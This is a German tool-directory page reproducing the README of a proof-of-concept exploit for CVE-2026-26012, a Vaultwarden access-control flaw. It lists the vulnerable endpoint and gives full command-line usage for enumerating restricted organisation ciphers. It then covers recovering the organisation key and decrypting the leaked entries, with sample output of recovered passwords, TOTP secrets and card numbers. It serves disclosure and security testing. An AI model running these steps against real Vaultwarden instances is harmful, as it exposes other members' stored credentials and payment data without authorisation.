Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-26012 — Proof-of-Concept-Exploit für CVE-2026-26012, eine fehlerhafte Zugriffskontrolle in Vaultwarden, die es jedem Organisationsmitglied ermöglicht, alle Cipher zu enumerieren und zu entschlüsseln, wobei die Sammlungsberechtigungen umgangen werden. | Kitploit
Tools/GitHubGitHub/dulieno/cve-2026-26012
SchwachstellenanalyseExploitationWebsicherheitKryptographiePenetrationstestsLernen & Bildung
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Proof-of-Concept-Exploit für CVE-2026-26012, eine fehlerhafte Zugriffskontrolle in Vaultwarden, die es jedem Organisationsmitglied ermöglicht, alle Cipher zu enumerieren und zu entschlüsseln, wobei die Sammlungsberechtigungen umgangen werden.

Repository anzeigen
114vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-26012 — Vaultwarden Cipher Enumeration PoC

AI Assisted License

Vollständige Cipher-Enumeration unter Umgehung der Sammlungsberechtigungen der Organisation

Ein Proof-of-Concept-Exploit für CVE-2026-26012, eine Schwachstelle durch fehlerhafte Zugriffskontrolle in Vaultwarden (<= 1.35.2), die es jedem Organisationsmitglied ermöglicht, alle Cipher innerhalb der Organisation abzurufen und zu entschlüsseln – unabhängig von den Berechtigungen auf Sammlungsebene.

🤖 Hinweis: Dieses Projekt wurde mit Unterstützung von Claude 3 Opus entwickelt. KI wurde für die Codegenerierung, die Architekturstruktur und die Dokumentation eingesetzt. Alle Ausgaben wurden manuell überprüft und für die Qualitätssicherung getestet.

Übersicht

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
BetroffenVaultwarden ≤ 1.35.2
Behoben in1.35.3
CVSS 3.16.5 (Mittel) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Falsche Autorisierung
CreditEntdeckt von @odgrso, behoben von @BlackDex

Die Schwachstelle

Der API-Endpunkt GET /api/ciphers/organization-details ist für jedes Organisationsmitglied zugänglich. Intern ruft er Cipher::find_by_org auf, das alle Cipher in der Organisation zurückgibt, und stellt sie dann mit CipherSyncType::Organization bereit, ohne die Zugriffskontrolle auf Sammlungsebene durchzusetzen.

Da alle Organisations-Cipher denselben Organisations-Verschlüsselungsschlüssel verwenden (den jedes Mitglied beim Beitritt erhält), können die geleakten Cipher clientseitig vollständig entschlüsselt werden.

Reguläres Organisationsmitglied (auf Sammlung "Public" beschränkt)
    │
    ├── GET /api/sync                     → 5 Cipher (korrekt)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 Cipher (ALLE Organisations-Cipher — FEHLER)
                  └──→ 42 Cipher aus eingeschränkten Sammlungen (GELEAKT)
                        └──→ Entschlüsselbar mit dem Org-Schlüssel, den das Mitglied bereits besitzt

Repository-Inhalt

.
├── README.md                   # Diese Datei
├── poc_cve_2026_26012.py       # Phase 1: Cipher-Enumeration & Leak-Erkennung
├── poc_decrypt.py              # Phase 2: Org-Schlüssel-Wiederherstellung & Cipher-Entschlüsselung
└── LICENSE

Anforderungen

  • Python 3.8+
  • cryptography (für die Entschlüsselung in Phase 2)
  • argon2-cffi (nur wenn die Zielinstanz den Argon2id-KDF verwendet)
pip install cryptography
pip install argon2-cffi  # optional

Verwendung

Phase 1 — Geleakte Cipher aufzählen

Erkennt, ob die Instanz verwundbar ist, indem die vom normalen /api/sync-Endpunkt zurückgegebenen Cipher mit denen des verwundbaren /api/ciphers/organization-details-Endpunkts verglichen werden.

# Über den Browser authentifizieren (SSO + 2FA unterstützt), dann das Bearer-Token übergeben
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Alle Authentifizierungsoptionen
# Bearer-Token (empfohlen — funktioniert mit SSO + 2FA)
--token "eyJhbGciOi..."

# Session-Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."

# Raw-Cookie-Header (mehrere Cookies)
--cookie-header "session=abc; token=xyz"

# Direkter Passwort-Login (NUR ohne SSO und 2FA)
--email [email protected] --password "MasterPassword"

So extrahieren Sie Ihr Bearer-Token:

  1. Melden Sie sich im Vaultwarden-Webvault an (SSO + 2FA wie gewohnt abschließen)
  2. Öffnen Sie die Browser-DevTools (F12) → Tab Netzwerk
  3. Klicken Sie auf ein beliebiges Element im Vault, um einen API-Aufruf auszulösen
  4. Suchen Sie eine Anfrage an /api/... und kopieren Sie den Wert des Authorization-Headers
Zusätzliche Optionen
--no-verify-ssl     # SSL-Überprüfung überspringen (selbstsignierte Zertifikate)
--show-all          # Auch legitim zugängliche Cipher anzeigen
--max-display 50    # Maximale Anzahl anzuzeigender geleakter Cipher (Standard: 20)
--output results.json  # Vollständige Ergebnisse als JSON exportieren

Phase 2 — Geleakte Cipher entschlüsseln

Stellt den Organisations-Verschlüsselungsschlüssel wieder her und entschlüsselt alle geleakten Cipher aus Phase 1.

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Hinweis: --master-password ist Ihr Vaultwarden-Master-Passwort, das lokal zur Ableitung der Entschlüsselungsschlüsselkette verwendet wird. Es wird niemals über das Netzwerk gesendet. Das --token übernimmt die API-Authentifizierung.

Fehlerbehebung: Wenn die Schlüsselentschlüsselung fehlschlägt, fügen Sie --debug hinzu, um Zwischenwerte bei jedem Schritt zu sehen. Das Skript versucht automatisch 5 Strategien (HKDF modern, HMAC legacy, Raw-Key und HMAC-Skip-Varianten), um unterschiedliche Kontenalter und Konfigurationen zu berücksichtigen.

Alternative: Org-Schlüssel direkt angeben

Wenn Sie den 64-Byte-Organisationsschlüssel (128 Hex-Zeichen) bereits haben:

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Beispielausgabe

[*] === Key Recovery Chain ===

[1/6] KDF-Parameter abrufen...
       KDF: PBKDF2-SHA256, Iterationen: 600000
[2/6] Master-Key ableiten...
[3/6] Master-Key strecken (HKDF-Expand)...
[4/6] Verschlüsselte Schlüssel von /api/sync abrufen...
       Organisation: ACME Corp
[5/6] Symmetrischen Benutzerschlüssel entschlüsseln...
[6/6] RSA-privaten Schlüssel entschlüsseln → Organisationsschlüssel...

[+] Organisationsschlüssel erfolgreich wiederhergestellt!

[*] 42 Cipher entschlüsseln...

============================================================
  ENTSCHLÜSSELUNGSERGEBNISSE
============================================================
  Gesamt:     42
  Entschlüsselt: 42
  Fehler:    0

  AUSWIRKUNGSZUSAMMENFASSUNG
  Passwörter wiederhergestellt:     35
  TOTP-Geheimnisse wiederhergestellt:  12
  Kartennummern wiederhergestellt:  3
============================================================

So funktioniert es

Schlüsselableitungskette

Jedes Organisationsmitglied besitzt bereits den symmetrischen Schlüssel der Organisation, verschlüsselt mit seinem RSA-öffentlichen Schlüssel. Die Entschlüsselungskette ist:

Master-Passwort + E-Mail
    │  PBKDF2-SHA256 oder Argon2id
    ▼
Master-Key (32 Bytes)
    │  HKDF-Expand-SHA256
    ▼
Gestreckter Schlüssel: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (entschlüsselt profile.key)
    ▼
Symmetrischer Benutzerschlüssel: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (entschlüsselt profile.privateKey)
    ▼
RSA-privater Schlüssel (2048-Bit PKCS#8 DER)
    │  RSA-OAEP-SHA1 (entschlüsselt profile.organizations[].key)
    ▼
Organisationsschlüssel: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Entschlüsselte Cipher-Daten

Warum die Sammlungs-ACL die Daten nicht schützt

Tool herunterladen